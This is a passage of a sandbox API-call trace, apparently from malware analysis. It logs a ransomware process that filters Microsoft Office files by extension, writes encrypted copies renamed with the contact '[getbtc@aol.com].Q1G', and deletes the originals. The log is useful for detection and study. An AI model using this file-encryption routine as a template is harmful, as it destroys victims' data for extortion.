(lpString1=".ppt", lpString2=".HXK") returned 1 [0254.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.942] lstrlenW (lpString=".zip") returned 4 [0254.943] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0254.943] lstrlenW (lpString=".rar") returned 4 [0254.943] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0254.943] lstrlenW (lpString=".bz2") returned 4 [0254.943] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0254.943] lstrlenW (lpString=".7z") returned 3 [0254.943] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0254.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.943] lstrlenW (lpString=".dbf") returned 4 [0254.943] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0254.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.943] lstrlenW (lpString=".1cd") returned 4 [0254.943] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0254.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.943] lstrlenW (lpString=".jpg") returned 4 [0254.943] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0254.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.943] lstrlenW (lpString=".doc") returned 4 [0254.943] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0254.943] lstrlenW (lpString=".docx") returned 5 [0254.943] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0254.943] lstrlenW (lpString=".pdf") returned 4 [0254.943] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0254.943] lstrlenW (lpString=".xls") returned 4 [0254.943] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0254.943] lstrlenW (lpString=".xlsx") returned 5 [0254.943] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0254.943] lstrlenW (lpString=".ppt") returned 4 [0254.943] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0254.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.943] lstrlenW (lpString=".zip") returned 4 [0254.943] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0254.943] lstrlenW (lpString=".rar") returned 4 [0254.943] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0254.944] lstrlenW (lpString=".bz2") returned 4 [0254.944] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0254.944] lstrlenW (lpString=".7z") returned 3 [0254.944] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0254.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.944] lstrlenW (lpString=".dbf") returned 4 [0254.944] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0254.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.944] lstrlenW (lpString=".1cd") returned 4 [0254.944] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0254.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0254.944] lstrlenW (lpString=".jpg") returned 4 [0254.944] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0254.944] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0254.944] lstrlenW (lpString="VISIO_K_COL.HXK") returned 15 [0254.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.944] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=113) returned 1 [0254.944] CloseHandle (hObject=0x338) returned 1 [0254.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk")) returned 0x20 [0254.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.945] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.945] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.946] GetLastError () returned 0x0 [0254.946] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x71, lpOverlapped=0x0) returned 1 [0254.946] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0254.947] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.947] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0254.947] SetEndOfFile (hFile=0x390) returned 1 [0254.947] CloseHandle (hObject=0x390) returned 1 [0254.947] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.948] SetEndOfFile (hFile=0x338) returned 1 [0254.950] CloseHandle (hObject=0x338) returned 1 [0254.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk")) returned 1 [0254.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.951] lstrlenW (lpString=".doc") returned 4 [0254.951] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0254.951] lstrlenW (lpString=".docx") returned 5 [0254.951] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0254.951] lstrlenW (lpString=".pdf") returned 4 [0254.951] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0254.951] lstrlenW (lpString=".xls") returned 4 [0254.951] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0254.951] lstrlenW (lpString=".xlsx") returned 5 [0254.951] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0254.951] lstrlenW (lpString=".ppt") returned 4 [0254.951] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0254.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.951] lstrlenW (lpString=".zip") returned 4 [0254.951] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0254.951] lstrlenW (lpString=".rar") returned 4 [0254.951] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0254.951] lstrlenW (lpString=".bz2") returned 4 [0254.951] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0254.951] lstrlenW (lpString=".7z") returned 3 [0254.951] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0254.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.951] lstrlenW (lpString=".dbf") returned 4 [0254.951] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0254.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.951] lstrlenW (lpString=".1cd") returned 4 [0254.951] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0254.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.951] lstrlenW (lpString=".jpg") returned 4 [0254.951] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0254.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.952] lstrlenW (lpString=".doc") returned 4 [0254.952] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0254.952] lstrlenW (lpString=".docx") returned 5 [0254.952] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0254.952] lstrlenW (lpString=".pdf") returned 4 [0254.952] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0254.952] lstrlenW (lpString=".xls") returned 4 [0254.952] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0254.952] lstrlenW (lpString=".xlsx") returned 5 [0254.952] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0254.952] lstrlenW (lpString=".ppt") returned 4 [0254.952] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0254.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.952] lstrlenW (lpString=".zip") returned 4 [0254.952] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0254.952] lstrlenW (lpString=".rar") returned 4 [0254.952] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0254.952] lstrlenW (lpString=".bz2") returned 4 [0254.952] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0254.952] lstrlenW (lpString=".7z") returned 3 [0254.952] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0254.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.952] lstrlenW (lpString=".dbf") returned 4 [0254.952] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0254.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.952] lstrlenW (lpString=".1cd") returned 4 [0254.952] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0254.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0254.952] lstrlenW (lpString=".jpg") returned 4 [0254.952] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0254.952] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0254.952] lstrlenW (lpString="VISIO_PRM.HXS") returned 13 [0254.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.953] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2287488) returned 1 [0254.953] CloseHandle (hObject=0x338) returned 1 [0254.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs")) returned 0x20 [0254.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0254.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.953] lstrlenW (lpString=".doc") returned 4 [0254.953] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0254.953] lstrlenW (lpString=".docx") returned 5 [0254.953] lstrcmpiW (lpString1=".docx", lpString2="M.HXS") returned -1 [0254.953] lstrlenW (lpString=".pdf") returned 4 [0254.954] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0254.954] lstrlenW (lpString=".xls") returned 4 [0254.954] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0254.954] lstrlenW (lpString=".xlsx") returned 5 [0254.954] lstrcmpiW (lpString1=".xlsx", lpString2="M.HXS") returned -1 [0254.954] lstrlenW (lpString=".ppt") returned 4 [0254.954] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0254.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.954] lstrlenW (lpString=".zip") returned 4 [0254.954] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0254.954] lstrlenW (lpString=".rar") returned 4 [0254.954] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0254.954] lstrlenW (lpString=".bz2") returned 4 [0254.954] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0254.954] lstrlenW (lpString=".7z") returned 3 [0254.954] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0254.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.954] lstrlenW (lpString=".dbf") returned 4 [0254.954] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0254.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.954] lstrlenW (lpString=".1cd") returned 4 [0254.954] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0254.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.954] lstrlenW (lpString=".jpg") returned 4 [0254.954] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0254.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.954] lstrlenW (lpString=".doc") returned 4 [0254.954] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0254.954] lstrlenW (lpString=".docx") returned 5 [0254.954] lstrcmpiW (lpString1=".docx", lpString2="M.HXS") returned -1 [0254.954] lstrlenW (lpString=".pdf") returned 4 [0254.954] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0254.954] lstrlenW (lpString=".xls") returned 4 [0254.954] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0254.954] lstrlenW (lpString=".xlsx") returned 5 [0254.954] lstrcmpiW (lpString1=".xlsx", lpString2="M.HXS") returned -1 [0254.955] lstrlenW (lpString=".ppt") returned 4 [0254.955] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0254.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.955] lstrlenW (lpString=".zip") returned 4 [0254.955] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0254.955] lstrlenW (lpString=".rar") returned 4 [0254.955] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0254.955] lstrlenW (lpString=".bz2") returned 4 [0254.955] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0254.955] lstrlenW (lpString=".7z") returned 3 [0254.955] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0254.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.955] lstrlenW (lpString=".dbf") returned 4 [0254.955] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0254.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.955] lstrlenW (lpString=".1cd") returned 4 [0254.955] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0254.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0254.955] lstrlenW (lpString=".jpg") returned 4 [0254.955] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0254.955] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0254.955] lstrlenW (lpString="VISIO_PRM_COL.HXC") returned 17 [0254.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.956] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=641) returned 1 [0254.956] CloseHandle (hObject=0x338) returned 1 [0255.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc")) returned 0x20 [0255.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.048] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.048] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.049] GetLastError () returned 0x0 [0255.049] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x281, lpOverlapped=0x0) returned 1 [0255.296] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x290, lpOverlapped=0x0) returned 1 [0255.297] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.297] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0255.297] SetEndOfFile (hFile=0x324) returned 1 [0255.297] CloseHandle (hObject=0x324) returned 1 [0255.297] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.297] SetEndOfFile (hFile=0x3d8) returned 1 [0255.300] CloseHandle (hObject=0x3d8) returned 1 [0255.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc")) returned 1 [0256.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.262] lstrlenW (lpString=".doc") returned 4 [0256.262] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.262] lstrlenW (lpString=".docx") returned 5 [0256.262] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.262] lstrlenW (lpString=".pdf") returned 4 [0256.262] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.262] lstrlenW (lpString=".xls") returned 4 [0256.262] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.262] lstrlenW (lpString=".xlsx") returned 5 [0256.262] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.262] lstrlenW (lpString=".ppt") returned 4 [0256.262] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.262] lstrlenW (lpString=".zip") returned 4 [0256.262] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.262] lstrlenW (lpString=".rar") returned 4 [0256.262] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.262] lstrlenW (lpString=".bz2") returned 4 [0256.262] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.262] lstrlenW (lpString=".7z") returned 3 [0256.262] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.262] lstrlenW (lpString=".dbf") returned 4 [0256.262] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.262] lstrlenW (lpString=".1cd") returned 4 [0256.262] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.262] lstrlenW (lpString=".jpg") returned 4 [0256.262] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.263] lstrlenW (lpString=".doc") returned 4 [0256.263] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.263] lstrlenW (lpString=".docx") returned 5 [0256.263] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.263] lstrlenW (lpString=".pdf") returned 4 [0256.263] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.263] lstrlenW (lpString=".xls") returned 4 [0256.263] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.263] lstrlenW (lpString=".xlsx") returned 5 [0256.263] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.263] lstrlenW (lpString=".ppt") returned 4 [0256.263] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.263] lstrlenW (lpString=".zip") returned 4 [0256.263] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.263] lstrlenW (lpString=".rar") returned 4 [0256.263] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.263] lstrlenW (lpString=".bz2") returned 4 [0256.263] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.263] lstrlenW (lpString=".7z") returned 3 [0256.263] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.263] lstrlenW (lpString=".dbf") returned 4 [0256.263] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.263] lstrlenW (lpString=".1cd") returned 4 [0256.263] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0256.263] lstrlenW (lpString=".jpg") returned 4 [0256.263] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.264] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 